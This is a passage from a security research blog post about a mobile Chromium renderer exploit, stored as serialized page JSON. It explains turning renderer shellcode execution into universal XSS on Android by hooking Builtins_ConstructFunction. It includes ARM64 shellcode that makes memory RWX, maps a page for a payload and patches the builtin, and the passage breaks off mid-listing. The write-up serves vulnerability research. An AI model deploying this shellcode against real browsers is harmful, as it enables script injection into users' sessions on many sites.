type":29,"value":546},{"type":24,"tag":147,"props":143569,"children":143570},{"style":705},[143571],{"type":29,"value":143572},"145",{"type":24,"tag":147,"props":143574,"children":143575},{"style":235},[143576],{"type":29,"value":546},{"type":24,"tag":147,"props":143578,"children":143579},{"style":705},[143580],{"type":29,"value":143581},"191",{"type":24,"tag":147,"props":143583,"children":143584},{"style":235},[143585],{"type":29,"value":546},{"type":24,"tag":147,"props":143587,"children":143588},{"style":705},[143589],{"type":29,"value":22901},{"type":24,"tag":147,"props":143591,"children":143592},{"style":235},[143593],{"type":29,"value":546},{"type":24,"tag":147,"props":143595,"children":143596},{"style":705},[143597],{"type":29,"value":3173},{"type":24,"tag":147,"props":143599,"children":143600},{"style":235},[143601],{"type":29,"value":546},{"type":24,"tag":147,"props":143603,"children":143604},{"style":705},[143605],{"type":29,"value":143572},{"type":24,"tag":147,"props":143607,"children":143608},{"style":235},[143609],{"type":29,"value":546},{"type":24,"tag":147,"props":143611,"children":143612},{"style":705},[143613],{"type":29,"value":143514},{"type":24,"tag":147,"props":143615,"children":143616},{"style":235},[143617],{"type":29,"value":546},{"type":24,"tag":147,"props":143619,"children":143620},{"style":705},[143621],{"type":29,"value":143523},{"type":24,"tag":147,"props":143623,"children":143624},{"style":235},[143625],{"type":29,"value":546},{"type":24,"tag":147,"props":143627,"children":143628},{"style":705},[143629],{"type":29,"value":143630},"193",{"type":24,"tag":147,"props":143632,"children":143633},{"style":235},[143634],{"type":29,"value":546},{"type":24,"tag":147,"props":143636,"children":143637},{"style":705},[143638],{"type":29,"value":143639},"168",{"type":24,"tag":147,"props":143641,"children":143642},{"style":235},[143643],{"type":29,"value":1549},{"type":24,"tag":147,"props":143645,"children":143646},{"class":149,"line":308},[143647,143652,143656,143660,143664,143668,143672,143676,143680,143684,143688,143692,143696,143700,143704,143709,143713,143717,143721,143725,143729,143733,143737,143741,143745,143749,143753,143757,143761,143765,143769,143773,143777,143781,143785,143789,143793,143797,143801,143805,143809,143813,143817,143821,143825,143829,143833,143837,143841,143845,143849,143853,143857,143861],{"type":24,"tag":147,"props":143648,"children":143649},{"style":705},[143650],{"type":29,"value":143651},"    255",{"type":24,"tag":147,"props":143653,"children":143654},{"style":235},[143655],{"type":29,"value":546},{"type":24,"tag":147,"props":143657,"children":143658},{"style":705},[143659],{"type":29,"value":143449},{"type":24,"tag":147,"props":143661,"children":143662},{"style":235},[143663],{"type":29,"value":546},{"type":24,"tag":147,"props":143665,"children":143666},{"style":705},[143667],{"type":29,"value":22901},{"type":24,"tag":147,"props":143669,"children":143670},{"style":235},[143671],{"type":29,"value":546},{"type":24,"tag":147,"props":143673,"children":143674},{"style":705},[143675],{"type":29,"value":143399},{"type":24,"tag":147,"props":143677,"children":143678},{"style":235},[143679],{"type":29,"value":546},{"type":24,"tag":147,"props":143681,"children":143682},{"style":705},[143683],{"type":29,"value":139334},{"type":24,"tag":147,"props":143685,"children":143686},{"style":235},[143687],{"type":29,"value":546},{"type":24,"tag":147,"props":143689,"children":143690},{"style":705},[143691],{"type":29,"value":22901},{"type":24,"tag":147,"props":143693,"children":143694},{"style":235},[143695],{"type":29,"value":546},{"type":24,"tag":147,"props":143697,"children":143698},{"style":705},[143699],{"type":29,"value":143373},{"type":24,"tag":147,"props":143701,"children":143702},{"style":235},[143703],{"type":29,"value":546},{"type":24,"tag":147,"props":143705,"children":143706},{"style":705},[143707],{"type":29,"value":143708},"214",{"type":24,"tag":147,"props":143710,"children":143711},{"style":235},[143712],{"type":29,"value":546},{"type":24,"tag":147,"props":143714,"children":143715},{"style":705},[143716],{"type":29,"value":102249},{"type":24,"tag":147,"props":143718,"children":143719},{"style":235},[143720],{"type":29,"value":546},{"type":24,"tag":147,"props":143722,"children":143723},{"style":705},[143724],{"type":29,"value":65930},{"type":24,"tag":147,"props":143726,"children":143727},{"style":235},[143728],{"type":29,"value":546},{"type":24,"tag":147,"props":143730,"children":143731},{"style":705},[143732],{"type":29,"value":22901},{"type":24,"tag":147,"props":143734,"children":143735},{"style":235},[143736],{"type":29,"value":546},{"type":24,"tag":147,"props":143738,"children":143739},{"style":705},[143740],{"type":29,"value":143399},{"type":24,"tag":147,"props":143742,"children":143743},{"style":235},[143744],{"type":29,"value":546},{"type":24,"tag":147,"props":143746,"children":143747},{"style":705},[143748],{"type":29,"value":23134},{"type":24,"tag":147,"props":143750,"children":143751},{"style":235},[143752],{"type":29,"value":546},{"type":24,"tag":147,"props":143754,"children":143755},{"style":705},[143756],{"type":29,"value":3173},{"type":24,"tag":147,"props":143758,"children":143759},{"style":235},[143760],{"type":29,"value":546},{"type":24,"tag":147,"props":143762,"children":143763},{"style":705},[143764],{"type":29,"value":3173},{"type":24,"tag":147,"props":143766,"children":143767},{"style":235},[143768],{"type":29,"value":546},{"type":24,"tag":147,"props":143770,"children":143771},{"style":705},[143772],{"type":29,"value":3173},{"type":24,"tag":147,"props":143774,"children":143775},{"style":235},[143776],{"type":29,"value":546},{"type":24,"tag":147,"props":143778,"children":143779},{"style":705},[143780],{"type":29,"value":3173},{"type":24,"tag":147,"props":143782,"children":143783},{"style":235},[143784],{"type":29,"value":546},{"type":24,"tag":147,"props":143786,"children":143787},{"style":705},[143788],{"type":29,"value":3173},{"type":24,"tag":147,"props":143790,"children":143791},{"style":235},[143792],{"type":29,"value":546},{"type":24,"tag":147,"props":143794,"children":143795},{"style":705},[143796],{"type":29,"value":3173},{"type":24,"tag":147,"props":143798,"children":143799},{"style":235},[143800],{"type":29,"value":546},{"type":24,"tag":147,"props":143802,"children":143803},{"style":705},[143804],{"type":29,"value":3173},{"type":24,"tag":147,"props":143806,"children":143807},{"style":235},[143808],{"type":29,"value":546},{"type":24,"tag":147,"props":143810,"children":143811},{"style":705},[143812],{"type":29,"value":3173},{"type":24,"tag":147,"props":143814,"children":143815},{"style":235},[143816],{"type":29,"value":546},{"type":24,"tag":147,"props":143818,"children":143819},{"style":705},[143820],{"type":29,"value":23134},{"type":24,"tag":147,"props":143822,"children":143823},{"style":235},[143824],{"type":29,"value":546},{"type":24,"tag":147,"props":143826,"children":143827},{"style":705},[143828],{"type":29,"value":3173},{"type":24,"tag":147,"props":143830,"children":143831},{"style":235},[143832],{"type":29,"value":546},{"type":24,"tag":147,"props":143834,"children":143835},{"style":705},[143836],{"type":29,"value":3173},{"type":24,"tag":147,"props":143838,"children":143839},{"style":235},[143840],{"type":29,"value":546},{"type":24,"tag":147,"props":143842,"children":143843},{"style":705},[143844],{"type":29,"value":3173},{"type":24,"tag":147,"props":143846,"children":143847},{"style":235},[143848],{"type":29,"value":546},{"type":24,"tag":147,"props":143850,"children":143851},{"style":705},[143852],{"type":29,"value":3173},{"type":24,"tag":147,"props":143854,"children":143855},{"style":235},[143856],{"type":29,"value":546},{"type":24,"tag":147,"props":143858,"children":143859},{"style":705},[143860],{"type":29,"value":3173},{"type":24,"tag":147,"props":143862,"children":143863},{"style":235},[143864],{"type":29,"value":1549},{"type":24,"tag":147,"props":143866,"children":143867},{"class":149,"line":317},[143868,143872,143876,143880,143884,143888,143892,143896,143900,143904,143908,143913,143917,143922,143926,143931,143935,143939],{"type":24,"tag":147,"props":143869,"children":143870},{"style":705},[143871],{"type":29,"value":138986},{"type":24,"tag":147,"props":143873,"children":143874},{"style":235},[143875],{"type":29,"value":546},{"type":24,"tag":147,"props":143877,"children":143878},{"style":705},[143879],{"type":29,"value":3173},{"type":24,"tag":147,"props":143881,"children":143882},{"style":235},[143883],{"type":29,"value":546},{"type":24,"tag":147,"props":143885,"children":143886},{"style":705},[143887],{"type":29,"value":3173},{"type":24,"tag":147,"props":143889,"children":143890},{"style":235},[143891],{"type":29,"value":546},{"type":24,"tag":147,"props":143893,"children":143894},{"style":705},[143895],{"type":29,"value":3173},{"type":24,"tag":147,"props":143897,"children":143898},{"style":235},[143899],{"type":29,"value":546},{"type":24,"tag":147,"props":143901,"children":143902},{"style":705},[143903],{"type":29,"value":3173},{"type":24,"tag":147,"props":143905,"children":143906},{"style":235},[143907],{"type":29,"value":546},{"type":24,"tag":147,"props":143909,"children":143910},{"style":705},[143911],{"type":29,"value":143912},"92",{"type":24,"tag":147,"props":143914,"children":143915},{"style":235},[143916],{"type":29,"value":546},{"type":24,"tag":147,"props":143918,"children":143919},{"style":705},[143920],{"type":29,"value":143921},"50",{"type":24,"tag":147,"props":143923,"children":143924},{"style":235},[143925],{"type":29,"value":546},{"type":24,"tag":147,"props":143927,"children":143928},{"style":705},[143929],{"type":29,"value":143930},"162",{"type":24,"tag":147,"props":143932,"children":143933},{"style":235},[143934],{"type":29,"value":546},{"type":24,"tag":147,"props":143936,"children":143937},{"style":705},[143938],{"type":29,"value":3173},{"type":24,"tag":147,"props":143940,"children":143941},{"style":235},[143942],{"type":29,"value":1549},{"type":24,"tag":147,"props":143944,"children":143945},{"class":149,"line":332},[143946],{"type":24,"tag":147,"props":143947,"children":143948},{"style":235},[143949],{"type":29,"value":139273},{"type":24,"tag":147,"props":143951,"children":143952},{"class":149,"line":350},[143953,143957,143961,143965,143969,143973,143977,143981,143985,143989,143993],{"type":24,"tag":147,"props":143954,"children":143955},{"style":218},[143956],{"type":29,"value":13481},{"type":24,"tag":147,"props":143958,"children":143959},{"style":247},[143960],{"type":29,"value":140726},{"type":24,"tag":147,"props":143962,"children":143963},{"style":241},[143964],{"type":29,"value":651},{"type":24,"tag":147,"props":143966,"children":143967},{"style":229},[143968],{"type":29,"value":140735},{"type":24,"tag":147,"props":143970,"children":143971},{"style":235},[143972],{"type":29,"value":480},{"type":24,"tag":147,"props":143974,"children":143975},{"style":247},[143976],{"type":29,"value":138604},{"type":24,"tag":147,"props":143978,"children":143979},{"style":235},[143980],{"type":29,"value":546},{"type":24,"tag":147,"props":143982,"children":143983},{"style":247},[143984],{"type":29,"value":1610},{"type":24,"tag":147,"props":143986,"children":143987},{"style":235},[143988],{"type":29,"value":87},{"type":24,"tag":147,"props":143990,"children":143991},{"style":247},[143992],{"type":29,"value":1610},{"type":24,"tag":147,"props":143994,"children":143995},{"style":235},[143996],{"type":29,"value":1473},{"type":24,"tag":147,"props":143998,"children":143999},{"class":149,"line":358},[144000,144004,144008,144012,144016,144020,144024,144028,144032,144036],{"type":24,"tag":147,"props":144001,"children":144002},{"style":247},[144003],{"type":29,"value":140771},{"type":24,"tag":147,"props":144005,"children":144006},{"style":241},[144007],{"type":29,"value":651},{"type":24,"tag":147,"props":144009,"children":144010},{"style":235},[144011],{"type":29,"value":408},{"type":24,"tag":147,"props":144013,"children":144014},{"style":321},[144015],{"type":29,"value":38517},{"type":24,"tag":147,"props":144017,"children":144018},{"style":247},[144019],{"type":29,"value":140726},{"type":24,"tag":147,"props":144021,"children":144022},{"style":235},[144023],{"type":29,"value":87},{"type":24,"tag":147,"props":144025,"children":144026},{"style":229},[144027],{"type":29,"value":5817},{"type":24,"tag":147,"props":144029,"children":144030},{"style":235},[144031],{"type":29,"value":140800},{"type":24,"tag":147,"props":144033,"children":144034},{"style":247},[144035],{"type":29,"value":5037},{"type":24,"tag":147,"props":144037,"children":144038},{"style":235},[144039],{"type":29,"value":432},{"type":24,"tag":147,"props":144041,"children":144042},{"class":149,"line":397},[144043,144047,144051,144055,144059,144064,144068,144072],{"type":24,"tag":147,"props":144044,"children":144045},{"style":247},[144046],{"type":29,"value":107522},{"type":24,"tag":147,"props":144048,"children":144049},{"style":235},[144050],{"type":29,"value":87},{"type":24,"tag":147,"props":144052,"children":144053},{"style":229},[144054],{"type":29,"value":107531},{"type":24,"tag":147,"props":144056,"children":144057},{"style":235},[144058],{"type":29,"value":480},{"type":24,"tag":147,"props":144060,"children":144061},{"style":3534},[144062],{"type":29,"value":144063},"'DeserializeWasmModule result: '",{"type":24,"tag":147,"props":144065,"children":144066},{"style":241},[144067],{"type":29,"value":1734},{"type":24,"tag":147,"props":144069,"children":144070},{"style":247},[144071],{"type":29,"value":14782},{"type":24,"tag":147,"props":144073,"children":144074},{"style":235},[144075],{"type":29,"value":1473},{"type":24,"tag":147,"props":144077,"children":144078},{"class":149,"line":421},[144079,144083,144087,144091,144095,144099,144103,144107,144111,144115],{"type":24,"tag":147,"props":144080,"children":144081},{"style":218},[144082],{"type":29,"value":41789},{"type":24,"tag":147,"props":144084,"children":144085},{"style":247},[144086],{"type":29,"value":140820},{"type":24,"tag":147,"props":144088,"children":144089},{"style":241},[144090],{"type":29,"value":651},{"type":24,"tag":147,"props":144092,"children":144093},{"style":218},[144094],{"type":29,"value":37533},{"type":24,"tag":147,"props":144096,"children":144097},{"style":247},[144098],{"type":29,"value":138587},{"type":24,"tag":147,"props":144100,"children":144101},{"style":235},[144102],{"type":29,"value":87},{"type":24,"tag":147,"props":144104,"children":144105},{"style":229},[144106],{"type":29,"value":138641},{"type":24,"tag":147,"props":144108,"children":144109},{"style":235},[144110],{"type":29,"value":480},{"type":24,"tag":147,"props":144112,"children":144113},{"style":247},[144114],{"type":29,"value":14706},{"type":24,"tag":147,"props":144116,"children":144117},{"style":235},[144118],{"type":29,"value":1473},{"type":24,"tag":147,"props":144120,"children":144121},{"class":149,"line":435},[144122,144126,144130,144134,144138,144142,144146,144150,144154],{"type":24,"tag":147,"props":144123,"children":144124},{"style":218},[144125],{"type":29,"value":41789},{"type":24,"tag":147,"props":144127,"children":144128},{"style":247},[144129],{"type":29,"value":38572},{"type":24,"tag":147,"props":144131,"children":144132},{"style":241},[144133],{"type":29,"value":651},{"type":24,"tag":147,"props":144135,"children":144136},{"style":247},[144137],{"type":29,"value":140820},{"type":24,"tag":147,"props":144139,"children":144140},{"style":235},[144141],{"type":29,"value":87},{"type":24,"tag":147,"props":144143,"children":144144},{"style":247},[144145],{"type":29,"value":43483},{"type":24,"tag":147,"props":144147,"children":144148},{"style":235},[144149],{"type":29,"value":87},{"type":24,"tag":147,"props":144151,"children":144152},{"style":247},[144153],{"type":29,"value":138690},{"type":24,"tag":147,"props":144155,"children":144156},{"style":235},[144157],{"type":29,"value":432},{"type":24,"tag":147,"props":144159,"children":144160},{"class":149,"line":444},[144161,144165,144169,144173,144177,144181],{"type":24,"tag":147,"props":144162,"children":144163},{"style":247},[144164],{"type":29,"value":107522},{"type":24,"tag":147,"props":144166,"children":144167},{"style":235},[144168],{"type":29,"value":87},{"type":24,"tag":147,"props":144170,"children":144171},{"style":229},[144172],{"type":29,"value":107531},{"type":24,"tag":147,"props":144174,"children":144175},{"style":235},[144176],{"type":29,"value":480},{"type":24,"tag":147,"props":144178,"children":144179},{"style":247},[144180],{"type":29,"value":6999},{"type":24,"tag":147,"props":144182,"children":144183},{"style":235},[144184],{"type":29,"value":1473},{"type":24,"tag":147,"props":144186,"children":144187},{"class":149,"line":452},[144188],{"type":24,"tag":147,"props":144189,"children":144190},{"style":235},[144191],{"type":29,"value":107563},{"type":24,"tag":25,"props":144193,"children":144194},{},[144195],{"type":29,"value":144196},"And this time, it works as expected:",{"type":24,"tag":25,"props":144198,"children":144199},{},[144200],{"type":24,"tag":63,"props":144201,"children":144204},{"alt":144202,"src":144203},"image3","/posts/mobile-renderer-rce/image3.png",[],{"type":24,"tag":43,"props":144206,"children":144208},{"id":144207},"achieving-universal-xss",[144209],{"type":29,"value":144210},"Achieving Universal XSS",{"type":24,"tag":25,"props":144212,"children":144213},{},[144214,144216,144222,144224,144231],{"type":29,"value":144215},"At this point, we have arbitrary shellcode execution in the renderer process. While usually the exploit stops here and further access would require a browser sandbox escape, we decided to explore an alternative route known as UXSS, inspired by this ",{"type":24,"tag":2773,"props":144217,"children":144220},{"href":144218,"rel":144219},"https://i.blackhat.com/Asia-24/Presentations/Asia-24-Liu-The-Hole-in-Sandbox.pdf",[2777],[144221],{"type":29,"value":75914},{"type":29,"value":144223}," from Tencent Security and ",{"type":24,"tag":2773,"props":144225,"children":144228},{"href":144226,"rel":144227},"https://www.interruptlabs.co.uk/articles/one-click-memory-corruption-in-alibabas-uc-browser-exploiting-patch-gap-v8-vulnerabilities-to-steal-your-data",[2777],[144229],{"type":29,"value":144230},"research article",{"type":29,"value":144232}," from InterruptLabs.",{"type":24,"tag":25,"props":144234,"children":144235},{},[144236,144238,144245],{"type":29,"value":144237},"Unlike a normal XSS, a UXSS, or universal XSS, is a client side browser exploit that enables arbitrary JavaScript injection in all pages of a website. Normally, site isolation on desktop Chromium prevents this, as each site ends up in a different renderer process, but Android specifically has a ",{"type":24,"tag":2773,"props":144239,"children":144242},{"href":144240,"rel":144241},"https://www.chromium.org/Home/chromium-security/site-isolation/#android",[2777],[144243],{"type":29,"value":144244},"weaker version",{"type":29,"value":144246}," of this mitigation - only sites with logins and COOP headers are per process isolated. This means that the majority of webpages are in the same renderer process, so any patches to the interpreter will affect them all and lead to UXSS. This is still quite the capability!",{"type":24,"tag":25,"props":144248,"children":144249},{},[144250,144252,144258],{"type":29,"value":144251},"To achieve UXSS, we need to patch a function that’s invoked during site loading so we can run our XSS payload. During debugging, we observed that every site we visited eventually called ",{"type":24,"tag":80,"props":144253,"children":144255},{"className":144254},[],[144256],{"type":29,"value":144257},"Builtins_ConstructFunction",{"type":29,"value":144259},", making it a natural target.",{"type":24,"tag":25,"props":144261,"children":144262},{},[144263,144265,144270],{"type":29,"value":144264},"Our goal is for ",{"type":24,"tag":80,"props":144266,"children":144268},{"className":144267},[],[144269],{"type":29,"value":144257},{"type":29,"value":144271}," to execute our XSS payload first, then continue its normal behavior. To do this, we hook it as follows:",{"type":24,"tag":22292,"props":144273,"children":144274},{},[144275,144280,144290],{"type":24,"tag":2678,"props":144276,"children":144277},{},[144278],{"type":29,"value":144279},"The exploit’s shellcode patches the first few instructions to redirect execution to our mmap-ed shellcode, which runs the XSS payload",{"type":24,"tag":2678,"props":144281,"children":144282},{},[144283,144285],{"type":29,"value":144284},"After finishing, the mmap-ed shellcode restores the original instructions in ",{"type":24,"tag":80,"props":144286,"children":144288},{"className":144287},[],[144289],{"type":29,"value":144257},{"type":24,"tag":2678,"props":144291,"children":144292},{},[144293,144295,144300],{"type":29,"value":144294},"The mmap-ed shellcode then returns to the beginning of ",{"type":24,"tag":80,"props":144296,"children":144298},{"className":144297},[],[144299],{"type":29,"value":144257},{"type":29,"value":144301},", which now proceeds normally",{"type":24,"tag":25,"props":144303,"children":144304},{},[144305],{"type":29,"value":144306},"The ARM64 shellcode implementing this looks as follows:",{"type":24,"tag":137,"props":144308,"children":144312},{"code":144309,"language":144310,"meta":7,"className":144311,"style":7},"// get return addr to x0\nldr x0, [sp, #0x18]\n// strip pac signature from return address\n.arch armv8.3-a; xpaci x0\n\n// store x5 = Builtins_ConstructFunction\nmovz x1, #0x610c\nsub x0, x0, x1\nmov x5, x0\n\n// store x4 = page aligned ConstructFunction\nmovz x1, #0xf000\nmovk x1, #0xffff, lsl #16\nmovk x1, #0xffff, lsl #32\nand x4, x5, x1\n\n// mprotect page aligned ConstructFunction RWX\nmov x0, x4\nmov x1, #0x2000\nmov x2, #0x7\nmov x8, #226\nsvc #0\n\nmov x6, x5\n\n// mmap RWX for jump dest (uxss_sc)\nmov x0, #0\nmov x1, #0x1000\nmov x2, #0x7\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\nmov x5, x0\n\n// at this point:\n// x6 = Builtins_ConstructFunction\n// x5 = mmap page for uxss_sc\n\n// write uxss_sc to mmaped rwx page\n{write_sc(uxss_sc, \"x5\")}\n\n// wipe from cache\nmov x0, x5\n{WIPE_CACHE}\n\n// patch Builtins_ConstructFunction\n{write_sc(new_compile_instrs, \"x6\")}\n// and add a pointer to uxss_sc just above new instructions\nstr x5, [x6, #{5 * INSTR_SIZE}]\n\n// wipe from cache\nmov x0, x6\n{WIPE_CACHE}\n","asm","language-asm shiki shiki-themes slack-dark",[144313],{"type":24,"tag":80,"props":144314,"children":144315},{"__ignoreMap":7},[144316,144324,144332,144340,144348,144355,144363,144371,144379,144387,144394,144402,144410,144418,144426,144434,144441,144449,144457,144465,144473,144481,144489,144496,144504,144511,144519,144527,144535,144542,144550,144558,144566,144574,144581,144588,144595,144602,144610,144618,144626,144633,144641,144649,144656,144664,144672,144680,144687,144695,144703,144711,144719,144726,144733,144741],{"type":24,"tag":147,"props":144317,"children":144318},{"class":149,"line":150},[144319],{"type":24,"tag":147,"props":144320,"children":144321},{},[144322],{"type":29,"value":144323},"// get return addr to x0\n",{"type":24,"tag":147,"props":144325,"children":144326},{"class":149,"line":160},[144327],{"type":24,"tag":147,"props":144328,"children":144329},{},[144330],{"type":29,"value":144331},"ldr x0, [sp, #0x18]\n",{"type":24,"tag":147,"props":144333,"children":144334},{"class":149,"line":169},[144335],{"type":24,"tag":147,"props":144336,"children":144337},{},[144338],{"type":29,"value":144339},"// strip pac signature from return address\n",{"type":24,"tag":147,"props":144341,"children":144342},{"class":149,"line":178},[144343],{"type":24,"tag":147,"props":144344,"children":144345},{},[144346],{"type":29,"value":144347},".arch armv8.3-a; xpaci x0\n",{"type":24,"tag":147,"props":144349,"children":144350},{"class":149,"line":187},[144351],{"type":24,"tag":147,"props":144352,"children":144353},{"emptyLinePlaceholder":16},[144354],{"type":29,"value":314},{"type":24,"tag":147,"props":144356,"children":144357},{"class":149,"line":196},[144358],{"type":24,"tag":147,"props":144359,"children":144360},{},[144361],{"type":29,"value":144362},"// store x5 = Builtins_ConstructFunction\n",{"type":24,"tag":147,"props":144364,"children":144365},{"class":149,"line":205},[144366],{"type":24,"tag":147,"props":144367,"children":144368},{},[144369],{"type":29,"value":144370},"movz x1, #0x610c\n",{"type":24,"tag":147,"props":144372,"children":144373},{"class":149,"line":214},[144374],{"type":24,"tag":147,"props":144375,"children":144376},{},[144377],{"type":29,"value":144378},"sub x0, x0, x1\n",{"type":24,"tag":147,"props":144380,"children":144381},{"class":149,"line":272},[144382],{"type":24,"tag":147,"props":144383,"children":144384},{},[144385],{"type":29,"value":144386},"mov x5, x0\n",{"type":24,"tag":147,"props":144388,"children":144389},{"class":149,"line":281},[144390],{"type":24,"tag":147,"props":144391,"children":144392},{"emptyLinePlaceholder":16},[144393],{"type":29,"value":314},{"type":24,"tag":147,"props":144395,"children":144396},{"class":149,"line":299},[144397],{"type":24,"tag":147,"props":144398,"children":144399},{},[144400],{"type":29,"value":144401},"// store x4 = page aligned ConstructFunction\n",{"type":24,"tag":147,"props":144403,"children":144404},{"class":149,"line":308},[144405],{"type":24,"tag":147,"props":144406,"children":144407},{},[144408],{"type":29,"value":144409},"movz x1, #0xf000\n",{"type":24,"tag":147,"props":144411,"children":144412},{"class":149,"line":317},[144413],{"type":24,"tag":147,"props":144414,"children":144415},{},[144416],{"type":29,"value":144417},"movk x1, #0xffff, lsl #16\n",{"type":24,"tag":147,"props":144419,"children":144420},{"class":149,"line":332},[144421],{"type":24,"tag":147,"props":144422,"children":144423},{},[144424],{"type":29,"value":144425},"movk x1, #0xffff, lsl #32\n",{"type":24,"tag":147,"props":144427,"children":144428},{"class":149,"line":350},[144429],{"type":24,"tag":147,"props":144430,"children":144431},{},[144432],{"type":29,"value":144433},"and x4, x5, x1\n",{"type":24,"tag":147,"props":144435,"children":144436},{"class":149,"line":358},[144437],{"type":24,"tag":147,"props":144438,"children":144439},{"emptyLinePlaceholder":16},[144440],{"type":29,"value":314},{"type":24,"tag":147,"props":144442,"children":144443},{"class":149,"line":397},[144444],{"type":24,"tag":147,"props":144445,"children":144446},{},[144447],{"type":29,"value":144448},"// mprotect page aligned ConstructFunction RWX\n",{"type":24,"tag":147,"props":144450,"children":144451},{"class":149,"line":421},[144452],{"type":24,"tag":147,"props":144453,"children":144454},{},[144455],{"type":29,"value":144456},"mov x0, x4\n",{"type":24,"tag":147,"props":144458,"children":144459},{"class":149,"line":435},[144460],{"type":24,"tag":147,"props":144461,"children":144462},{},[144463],{"type":29,"value":144464},"mov x1, #0x2000\n",{"type":24,"tag":147,"props":144466,"children":144467},{"class":149,"line":444},[144468],{"type":24,"tag":147,"props":144469,"children":144470},{},[144471],{"type":29,"value":144472},"mov x2, #0x7\n",{"type":24,"tag":147,"props":144474,"children":144475},{"class":149,"line":452},[144476],{"type":24,"tag":147,"props":144477,"children":144478},{},[144479],{"type":29,"value":144480},"mov x8, #226\n",{"type":24,"tag":147,"props":144482,"children":144483},{"class":149,"line":461},[144484],{"type":24,"tag":147,"props":144485,"children":144486},{},[144487],{"type":29,"value":144488},"svc #0\n",{"type":24,"tag":147,"props":144490,"children":144491},{"class":149,"line":469},[144492],{"type":24,"tag":147,"props":144493,"children":144494},{"emptyLinePlaceholder":16},[144495],{"type":29,"value":314},{"type":24,"tag":147,"props":144497,"children":144498},{"class":149,"line":508},[144499],{"type":24,"tag":147,"props":144500,"children":144501},{},[144502],{"type":29,"value":144503},"mov x6, x5\n",{"type":24,"tag":147,"props":144505,"children":144506},{"class":149,"line":572},[144507],{"type":24,"tag":147,"props":144508,"children":144509},{"emptyLinePlaceholder":16},[144510],{"type":29,"value":314},{"type":24,"tag":147,"props":144512,"children":144513},{"class":149,"line":591},[144514],{"type":24,"tag":147,"props":144515,"children":144516},{},[144517],{"type":29,"value":144518},"// mmap RWX for jump dest (uxss_sc)\n",{"type":24,"tag":147,"props":144520,"children":144521},{"class":149,"line":632},[144522],{"type":24,"tag":147,"props":144523,"children":144524},{},[144525],{"type":29,"value":144526},"mov x0, #0\n",{"type":24,"tag":147,"props":144528,"children":144529},{"class":149,"line":659},[144530],{"type":24,"tag":147,"props":144531,"children":144532},{},[144533],{"type":29,"value":144534},"mov x1, #0x1000\n",{"type":24,"tag":147,"props":144536,"children":144537},{"class":149,"line":684},[144538],{"type":24,"tag":147,"props":144539,"children":144540},{},[144541],{"type":29,"value":144472},{"type":24,"tag":147,"props":144543,"children":144544},{"class":149,"line":715},[144545],{"type":24,"tag":147,"props":144546,"children":144547},{},[144548],{"type":29,"value":144549},"mov x3, #34\n",{"type":24,"tag":147,"props":144551,"children":144552},{"class":149,"line":744},[144553],{"type":24,"tag":147,"props":144554,"children":144555},{},[144556],{"type":29,"value":144557},"mov x4, #-1\n",{"type":24,"tag":147,"props":144559,"children":144560},{"class":149,"line":784},[144561],{"type":24,"tag":147,"props":144562,"children":144563},{},[144564],{"type":29,"value":144565},"mov x5, #0\n",{"type":24,"tag":147,"props":144567,"children":144568},{"class":149,"line":792},[144569],{"type":24,"tag":147,"props":144570,"children":144571},{},[144572],{"type":29,"value":144573},"mov x8, #222\n",{"type":24,"tag":147,"props":144575,"children":144576},{"class":149,"line":805},[144577],{"type":24,"tag":147,"props":144578,"children":144579},{},[144580],{"type":29,"value":144488},{"type":24,"tag":147,"props":144582,"children":144583},{"class":149,"line":813},[144584],{"type":24,"tag":147,"props":144585,"children":144586},{"emptyLinePlaceholder":16},[144587],{"type":29,"value":314},{"type":24,"tag":147,"props":144589,"children":144590},{"class":149,"line":821},[144591],{"type":24,"tag":147,"props":144592,"children":144593},{},[144594],{"type":29,"value":144386},{"type":24,"tag":147,"props":144596,"children":144597},{"class":149,"line":1902},[144598],{"type":24,"tag":147,"props":144599,"children":144600},{"emptyLinePlaceholder":16},[144601],{"type":29,"value":314},{"type":24,"tag":147,"props":144603,"children":144604},{"class":149,"line":1920},[144605],{"type":24,"tag":147,"props":144606,"children":144607},{},[144608],{"type":29,"value":144609},"// at this point:\n",{"type":24,"tag":147,"props":144611,"children":144612},{"class":149,"line":1929},[144613],{"type":24,"tag":147,"props":144614,"children":144615},{},[144616],{"type":29,"value":144617},"// x6 = Builtins_ConstructFunction\n",{"type":24,"tag":147,"props":144619,"children":144620},{"class":149,"line":1938},[144621],{"type":24,"tag":147,"props":144622,"children":144623},{},[144624],{"type":29,"value":144625},"// x5 = mmap page for uxss_sc\n",{"type":24,"tag":147,"props":144627,"children":144628},{"class":149,"line":1946},[144629],{"type":24,"tag":147,"props":144630,"children":144631},{"emptyLinePlaceholder":16},[144632],{"type":29,"value":314},{"type":24,"tag":147,"props":144634,"children":144635},{"class":149,"line":1955},[144636],{"type":24,"tag":147,"props":144637,"children":144638},{},[144639],{"type":29,"value":144640},"// write uxss_sc to mmaped rwx page\n",{"type":24,"tag":147,"props":144642,"children":144643},{"class":149,"line":29376},[144644],{"type":24,"tag":147,"props":144645,"children":144646},{},[144647],{"type":29,"value":144648},"{write_sc(uxss_sc, \"x5\")}\n",{"type":24,"tag":147,"props":144650,"children":144651},{"class":149,"line":29384},[144652],{"type":24,"tag":147,"props":144653,"children":144654},{"emptyLinePlaceholder":16},[144655],{"type":29,"value":314},{"type":24,"tag":147,"props":144657,"children":144658},{"class":149,"line":29421},[144659],{"type":24,"tag":147,"props":144660,"children":144661},{},[144662],{"type":29,"value":144663},"// wipe from cache\n",{"type":24,"tag":147,"props":144665,"children":144666},{"class":149,"line":29434},[144667],{"type":24,"tag":147,"props":144668,"children":144669},{},[144670],{"type":29,"value":144671},"mov x0, x5\n",{"type":24,"tag":147,"props":144673,"children":144674},{"class":149,"line":29447},[144675],{"type":24,"tag":147,"props":144676,"children":144677},{},[144678],{"type":29,"value":144679},"{WIPE_CACHE}\n",{"type":24,"tag":147,"props":144681,"children":144682},{"class":149,"line":29460},[144683],{"type":24,"tag":147,"props":144684,"children":144685},{"emptyLinePlaceholder":16},[144686],{"type":29,"value":314},{"type":24,"tag":147,"props":144688,"children":144689},{"class":149,"line":29514},[144690],{"type":24,"tag":147,"props":144691,"children":144692},{},[144693],{"type":29,"value":144694},"// patch Builtins_ConstructFunction\n",{"type":24,"tag":147,"props":144696,"children":144697},{"class":149,"line":29523},[144698],{"type":24,"tag":147,"props":144699,"children":144700},{},[144701],{"type":29,"value":144702},"{write_sc(new_compile_instrs, 